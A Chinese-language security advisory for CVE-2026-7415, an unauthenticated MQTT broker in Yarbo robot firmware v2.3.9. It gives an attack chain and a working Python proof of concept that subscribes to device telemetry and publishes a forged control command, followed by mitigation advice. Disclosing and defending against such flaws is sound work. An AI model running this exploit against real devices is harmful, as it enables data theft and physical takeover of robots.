IPBUF安全漏洞报告
English
CVE-2026-7415 CVSS 9.8 严重

CVE-2026-7415 Yarbo固件MQTT匿名访问漏洞

披露日期: 2026-05-07

漏洞信息

漏洞编号
CVE-2026-7415
漏洞类型
权限绕过
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Yarbo

相关标签

权限绕过物联网安全MQTTYarbo认证缺失

漏洞概述

Yarbo固件v2.3.9中嵌入的MQTT代理配置存在严重安全缺陷,允许匿名连接且缺乏主题级访问控制。由于未实施身份验证与授权机制,同一网络下的攻击者可无需交互即可订阅敏感遥测数据或发送控制指令。该漏洞导致设备面临数据泄露及被恶意操控的风险,CVSS评分高达9.8。

技术细节

该漏洞的核心原因在于Yarbo设备固件v2.3.9集成的MQTT服务配置不当。首先,服务未启用客户端身份验证,允许任意用户建立匿名连接,违反了最小权限原则。其次,系统未配置Topic ACL(访问控制列表),导致连接后的客户端默认拥有对所有消息主题的读写权限。攻击者利用该漏洞的过程极低门槛:只需与目标设备处于同一网络,扫描到开放的MQTT端口(通常为1883),即可直接连接。连接建立后,攻击者可以订阅设备的状态主题以窃取隐私数据(如传感器数据、位置信息),或向控制主题发送伪造指令以接管机器人控制权。这种利用方式无需用户交互,且完全绕过了系统的安全检查,对设备的机密性、完整性和可用性构成了全面威胁。鉴于该漏洞的高危特性,攻击者可轻易构建僵尸网络或进行针对性的物理破坏。

攻击链分析

STEP 1
步骤1:网络侦察
攻击者扫描目标网络段,寻找开放1883端口(默认MQTT端口)的设备,定位Yarbo机器人。
STEP 2
步骤2:建立匿名连接
攻击者使用标准MQTT客户端连接到目标设备的Broker,由于配置缺陷,无需提供用户名或密码即可成功连接。
STEP 3
步骤3:信息窃取
攻击者订阅通配符主题(如 # 或 yarbo/#),拦截并读取设备回传的遥测数据、传感器状态等敏感信息。
STEP 4
步骤4:未授权控制
攻击者向设备的控制主题(如 yarbo/control)发布恶意指令,直接接管机器人物理控制权,执行非法操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import paho.mqtt.client as mqtt import time # Configuration TARGET_IP = "192.168.1.100" # Replace with the target Yarbo device IP PORT = 1883 CONTROL_TOPIC = "yarbo/control/move" # Example control topic TELEMETRY_TOPIC = "yarbo/telemetry/#" # Example telemetry topic # Callback when connection is established def on_connect(client, userdata, flags, rc): print(f"[+] Connected with result code {rc}") # Subscribe to sensitive telemetry topics client.subscribe(TELEMETRY_TOPIC) print(f"[+] Subscribed to: {TELEMETRY_TOPIC}") # Callback when message is received def on_message(client, userdata, msg): print(f"[+] Received message on {msg.topic}: {msg.payload.decode()}") def main(): client = mqtt.Client() client.on_connect = on_connect client.on_message = on_message try: # Connect to the broker anonymously (No username/password) print(f"[*] Attempting to connect to {TARGET_IP}:{PORT}...") client.connect(TARGET_IP, PORT, 60) # Start the loop to process network traffic client.loop_start() # Wait a bit for connection to establish time.sleep(2) # Attack: Publish a control command without authentication malicious_payload = "{\"command\": \"stop\", \"reason\": \"attack\"}" print(f"[*] Sending malicious payload to {CONTROL_TOPIC}: {malicious_payload}") client.publish(CONTROL_TOPIC, malicious_payload) # Keep listening for a few seconds time.sleep(5) except Exception as e: print(f"[-] Error: {e}") finally: client.loop_stop() client.disconnect() print("[*] Disconnected.") if __name__ == "__main__": main()

影响范围

Yarbo Firmware v2.3.9

防御指南

临时缓解措施
建议立即在网络边界防火墙中阻断非信任IP对设备MQTT服务端口(默认1883)的访问。如果无法立即升级固件,应确保该设备仅部署在受信任的隔离网络环境中,避免暴露在公共网络或不可信局域网内。

参考链接